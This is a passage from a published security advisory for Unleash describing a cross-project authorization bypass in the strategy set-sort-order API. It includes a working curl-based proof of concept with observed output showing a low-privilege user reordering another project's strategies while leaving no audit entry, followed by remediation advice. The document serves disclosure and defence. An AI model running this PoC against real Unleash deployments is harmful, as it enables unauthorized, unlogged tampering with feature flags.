only.\ndocker exec unleash-pg psql -U unleash -d unleash -c \\\n \"INSERT INTO role_user (role_id, user_id, project) VALUES (5, 2, 'attacker');\"\ndocker restart unleash-srv \u0026\u0026 sleep 22     # pick up the seeded role\n```\n\n### 6. Run the attack\n\n```bash\nB=http://127.0.0.1:4242; ADMIN='*:*.unleash-insecure-admin-api-token'\nCJ=/tmp/mallory.cookies; rm -f $CJ\n\n# Log in as the low-priv user (Member of 'attacker' only).\ncurl -s -c $CJ -o /dev/null -X POST -H 'Content-Type: application/json' \\\n  $B/auth/simple/login -d '{\"username\":\"mallory@example.com\",\"password\":\"Str0ng-PoC-pass!9x\"}'\n\nshow() { curl -s -H \"Authorization:$ADMIN\" \\\n  $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \\\n  | python3 -c \"import sys,json;[print('   ',s['id'],'sort',s['sortOrder']) for s in json.load(sys.stdin)]\"; }\n\necho '--- victim/production BEFORE ---'; show\n\necho '--- [negative control] Mallory -\u003e VICTIM url directly (expect 403) ---'\ncurl -s -o /dev/null -w '    HTTP %{http_code}\\n' -b $CJ -X POST -H 'Content-Type: application/json' \\\n  $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies/set-sort-order \\\n  -d \"[{\\\"id\\\":\\\"$S1\\\",\\\"sortOrder\\\":99}]\"\n\necho '--- [attack] Mallory -\u003e ATTACKER url, body = VICTIM strategy ids (expect 200) ---'\ncurl -s -o /dev/null -w '    HTTP %{http_code}\\n' -b $CJ -X POST -H 'Content-Type: application/json' \\\n  $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies/set-sort-order \\\n  -d \"[{\\\"id\\\":\\\"$S1\\\",\\\"sortOrder\\\":42},{\\\"id\\\":\\\"$S2\\\",\\\"sortOrder\\\":7}]\"\n\necho '--- victim/production AFTER ---'; show\n```\n\n### Observed output\n\n```\n--- victim/production BEFORE ---\n    01KTYWRZM7ACCTQKPJJCXJB24R sort 0\n    01KTYWRZMTAN6WAZBQ6CN0QY4T sort 1\n--- [negative control] Mallory -\u003e VICTIM url directly (expect 403) ---\n    HTTP 403\n--- [attack] Mallory -\u003e ATTACKER url, body = VICTIM strategy ids (expect 200) ---\n    HTTP 200\n--- victim/production AFTER ---\n    01KTYWRZMTAN6WAZBQ6CN0QY4T sort 7\n    01KTYWRZM7ACCTQKPJJCXJB24R sort 42\n```\n\nThe negative control proves RBAC correctly denies Mallory a *direct* write to `victim` (403). The attack proves that by naming her own `attacker` project in the URL she passes RBAC, and the victim project's two strategies are reordered (sort 0/1 → 42/7, i.e. the evaluation order is flipped) — a write to a project she has no role on. A check of the events table after the attack shows no `feature-strategy-update` event was recorded for `victimFlag`, so the tampering is absent from the victim's audit trail.\n\n### Cleanup\n\n```bash\ndocker rm -f unleash-srv unleash-pg; docker network rm unleash-poc\n```\n\n## Remediation\n\nIn `unprotectedUpdateStrategiesSortOrder`, bind every body-supplied strategy ID to the URL context before writing. Two equivalent fixes: (1) fetch each strategy by ID and call the existing `validateUpdatedProperties(context, strategy)` guard (the same one `updateStrategy`/`patchStrategy`/`deleteStrategy` already use) so a mismatched `projectId`/`featureName` throws; or (2) reject any `sortOrders` entry whose ID is not present in `existingOrder` (the set of strategy IDs that genuinely belong to `{project, featureName, environment}`), which the function already computes. Additionally, scope the store write — `updateSortOrder` should constrain the `UPDATE` with the project/feature/environment (or only operate on IDs already validated to be in-context) rather than updating purely by primary key. Fixing the binding also corrects the audit-log attribution, since the mutated strategies will then always belong to the URL context the event is built from.\n\nPlease credit 5ud0 / Tarmo Technologies.","status":"published","published":"2026-09-22T20:36:39Z","modified":"2026-09-22T21:00:05.641811593Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-639","CWE-863"],"updated_at":"2026-11-02T15:46:38.213481Z"}]}}
